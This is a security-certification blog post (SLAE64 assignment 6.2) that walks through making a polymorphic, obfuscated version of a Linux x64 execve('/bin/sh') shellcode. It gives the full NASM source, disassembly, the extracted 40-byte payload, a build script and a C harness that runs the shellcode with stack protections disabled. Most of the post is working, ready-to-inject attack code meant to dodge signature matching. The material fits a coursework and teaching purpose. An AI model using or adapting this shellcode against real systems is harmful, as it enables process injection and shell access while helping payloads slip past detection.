Student ID: SLAE64-1611
Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Breakdown
Part two of assignment six of the SLAE64 has us performing our second polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
Linux/x86_64 execve(“/bin/sh”)
Once again … you can see from the assembly code below, and at the provided link, this is not a very complex set of code but truth be told there are actually not a whole lot of x64 shellcode samples at shell-storm.org!
Just like last time the very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was once again kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling only one function, which is sys_execve (0x3b/59).
section .text
global _start
_start:
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
http://shell-storm.org/shellcode/files/shellcode-603.php
Before continuing on however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs. which should be 30 bytes long:
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
The shellcode size we end up with is only 30 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 45 bytes for our shellcode … that is not a lot of room, but here we go!
Behold, I preset to you our new assembly, which ends up only being 40 bytes long, five whole bytes under our original target!
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.2 : Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")
; File Name : execve.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-603.php
section .text
global _start
_start:
xor rdx, rdx ; zero out rdx
; first change we alter 0x68732f6e69622f2f
; to be something to decode 0x5073286e69622f2f
mov qword rbx, 0x5073286e69622f2f ; '//bin(sP'
shr rbx, 0x8 ; shift 8 places to the right
push rbx ; push /bin(sP to stack
add byte [rsp+6], 0x18 ; goes from "/bin(sP"
; to "/bin(sh"
add byte [rsp+4], 0x07 ; goes from "/bin(sh"
; to "/bin/sh"
mov rdi, rsp ; moving "//bin/sh" to rdi
push rax ; push \0
push rdi ; push "/bin/sh"
mov rsi, rsp ; moving "/bin/sh\0" to rsi
mov al, 0x3b ; setting rax to execve
syscall ; calling execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.nasm
So what did we do that was so different in order to introduce a polymorphic magic? Well, for starters instead of //bin/sh we instead started with Ps(nib//! Then we performed two add operations directly on the memory location in rsp in order to end up with a value of /bin/sh. Just a super basic way to obfuscate the shellcode just a tiny bit more :)
And just like in all the previous posts thus far we go ahead and compile our assembly as such:
./compile.sh execve
[+] Assembling 64bit with Nasm ...
[+] Linking ...
[+] Done!
At this point we can do a quick check of what it looks like through objdump like so:
objdump -d -M intel execve
Which produces the following output, notice how there are no nulls!
execve: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor rdx,rdx
400083: 48 bb 2f 2f 62 69 6e movabs rbx,0x5073286e69622f2f
40008a: 28 73 50
40008d: 48 c1 eb 08 shr rbx,0x8
400091: 53 push rbx
400092: 80 44 24 06 18 add BYTE PTR [rsp+0x6],0x18
400097: 80 44 24 04 07 add BYTE PTR [rsp+0x4],0x7
40009c: 48 89 e7 mov rdi,rsp
40009f: 50 push rax
4000a0: 57 push rdi
4000a1: 48 89 e6 mov rsi,rsp
4000a4: b0 3b mov al,0x3b
4000a6: 0f 05 syscall
Awwwwwwww yeah, no nulls! :)
Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:
for i in $(objdump -D execve.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
Which produces the following 40 bytes of shellcode:
\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
At this point we are now able to replace the shellcode in our helper C program as such:
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : execve.c
#include<stdio.h>
#include<string.h>
//compile with: gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.c
And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process
gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie
Animated gif of the complete compilation and running of our polymorphic shellcode!
Final_Breakdown:
Below are the contents of the final code needed to generate our 40 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 execve(“/bin/sh”); 30 bytes shellcode.
Assembly Code
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.2 : Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")
; File Name : execve.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-603.php
section .text
global _start
_start:
xor rdx, rdx ; zero out rdx
; first change we alter 0x68732f6e69622f2f
; to be something to decode 0x5073286e69622f2f
mov qword rbx, 0x5073286e69622f2f ; '//bin(sP'
shr rbx, 0x8 ; shift 8 places to the right
push rbx ; push /bin(sP to stack
add byte [rsp+6], 0x18 ; goes from "/bin(sP"
; to "/bin(sh"
add byte [rsp+4], 0x07 ; goes from "/bin(sh"
; to "/bin/sh"
mov rdi, rsp ; moving "//bin/sh" to rdi
push rax ; push \0
push rdi ; push "/bin/sh"
mov rsi, rsp ; moving "/bin/sh\0" to rsi
mov al, 0x3b ; setting rax to execve
syscall ; calling execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.nasm
Helper Compile Bash Script
#!/bin/bash
echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh
Final C Program To Execute Shellcode
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : execve.c
#include<stdio.h>
#include<string.h>
//compile with: gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}